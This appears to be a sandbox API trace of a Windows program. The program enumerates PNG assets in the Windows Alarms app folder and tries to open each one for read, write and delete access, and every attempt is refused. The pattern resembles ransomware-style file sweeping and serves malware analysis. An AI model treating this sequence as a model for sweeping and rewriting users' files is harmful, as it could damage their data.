	[0090.922] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-256.png")) returned 0x20
	[0090.924] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-256.png", dwFileAttributes=0x20) returned 0
	[0090.924] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-256.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.924] GetLastError () returned 0x5
	[0090.924] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-256.png", dwFileAttributes=0x20) returned 0
	[0090.924] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0090.924] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b0abca, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47b0abca, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47b0abca, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-256_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.924] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-256_altform-unplated.png", _String2=".") returned 1
	[0090.924] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-256_altform-unplated.png", _String2="..") returned 1
	[0090.924] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13c) returned 0x2d883a8
	[0090.924] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.924] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.924] wcscat (in: _Dest=0x2d883a8, _Source="AlarmsAppList.contrast-black_targetsize-256_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-256_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-256_altform-unplated.png"
	[0090.924] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-256_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-256_altform-unplated.png")) returned 0x20
	[0090.925] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-256_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.925] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-256_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-256_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.925] GetLastError () returned 0x5
	[0090.925] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-256_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.925] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.925] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b0abca, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47b0abca, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47b0abca, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x17f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-30.png", cAlternateFileName="")) returned 1
	[0090.925] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-30.png", _String2=".") returned 1
	[0090.925] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-30.png", _String2="..") returned 1
	[0090.925] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771ab8
	[0090.925] wcscpy (in: _Dest=0x4771ab8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.925] wcscat (in: _Dest=0x4771ab8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.925] wcscat (in: _Dest=0x4771ab8, _Source="AlarmsAppList.contrast-black_targetsize-30.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-30.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-30.png"
	[0090.925] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-30.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-30.png")) returned 0x20
	[0090.927] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-30.png", dwFileAttributes=0x20) returned 0
	[0090.927] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-30.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-30.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.927] GetLastError () returned 0x5
	[0090.927] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-30.png", dwFileAttributes=0x20) returned 0
	[0090.927] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771ab8) returned 1
	[0090.927] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b30e1f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47b30e1f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47b30e1f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x17f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-30_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.927] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-30_altform-unplated.png", _String2=".") returned 1
	[0090.927] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-30_altform-unplated.png", _String2="..") returned 1
	[0090.928] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d85ee8
	[0090.928] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.928] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.928] wcscat (in: _Dest=0x2d85ee8, _Source="AlarmsAppList.contrast-black_targetsize-30_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-30_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-30_altform-unplated.png"
	[0090.928] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-30_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-30_altform-unplated.png")) returned 0x20
	[0090.928] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-30_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.928] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-30_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-30_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.928] GetLastError () returned 0x5
	[0090.928] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-30_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.928] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0090.928] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b30e1f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47b30e1f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47b30e1f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-32.png", cAlternateFileName="")) returned 1
	[0090.928] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-32.png", _String2=".") returned 1
	[0090.928] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-32.png", _String2="..") returned 1
	[0090.928] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771740
	[0090.928] wcscpy (in: _Dest=0x4771740, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.928] wcscat (in: _Dest=0x4771740, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.928] wcscat (in: _Dest=0x4771740, _Source="AlarmsAppList.contrast-black_targetsize-32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-32.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-32.png"
	[0090.928] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-32.png")) returned 0x20
	[0090.931] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-32.png", dwFileAttributes=0x20) returned 0
	[0090.931] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.931] GetLastError () returned 0x5
	[0090.931] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-32.png", dwFileAttributes=0x20) returned 0
	[0090.931] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771740) returned 1
	[0090.931] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b57078, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47b57078, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47b57078, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-32_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.931] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-32_altform-unplated.png", _String2=".") returned 1
	[0090.931] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-32_altform-unplated.png", _String2="..") returned 1
	[0090.931] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d884f0
	[0090.931] wcscpy (in: _Dest=0x2d884f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.931] wcscat (in: _Dest=0x2d884f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.931] wcscat (in: _Dest=0x2d884f0, _Source="AlarmsAppList.contrast-black_targetsize-32_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-32_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-32_altform-unplated.png"
	[0090.931] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-32_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-32_altform-unplated.png")) returned 0x20
	[0090.932] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-32_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.932] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-32_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-32_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.932] GetLastError () returned 0x5
	[0090.932] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-32_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d884f0) returned 1
	[0090.932] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b57078, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47b57078, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47b57078, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-36.png", cAlternateFileName="")) returned 1
	[0090.932] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-36.png", _String2=".") returned 1
	[0090.932] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-36.png", _String2="..") returned 1
	[0090.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771740
	[0090.932] wcscpy (in: _Dest=0x4771740, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.932] wcscat (in: _Dest=0x4771740, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.932] wcscat (in: _Dest=0x4771740, _Source="AlarmsAppList.contrast-black_targetsize-36.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-36.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-36.png"
	[0090.932] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-36.png")) returned 0x20
	[0090.934] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-36.png", dwFileAttributes=0x20) returned 0
	[0090.934] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-36.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.934] GetLastError () returned 0x5
	[0090.934] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-36.png", dwFileAttributes=0x20) returned 0
	[0090.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771740) returned 1
	[0090.934] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b57078, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47b57078, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47b57078, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-36_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.934] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-36_altform-unplated.png", _String2=".") returned 1
	[0090.934] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-36_altform-unplated.png", _String2="..") returned 1
	[0090.934] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d884f0
	[0090.934] wcscpy (in: _Dest=0x2d884f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.935] wcscat (in: _Dest=0x2d884f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.935] wcscat (in: _Dest=0x2d884f0, _Source="AlarmsAppList.contrast-black_targetsize-36_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-36_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-36_altform-unplated.png"
	[0090.935] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-36_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-36_altform-unplated.png")) returned 0x20
	[0090.935] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-36_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.935] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-36_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-36_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.935] GetLastError () returned 0x5
	[0090.935] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-36_altform-unplated.png", dwFileAttributes=0x20) returned 0
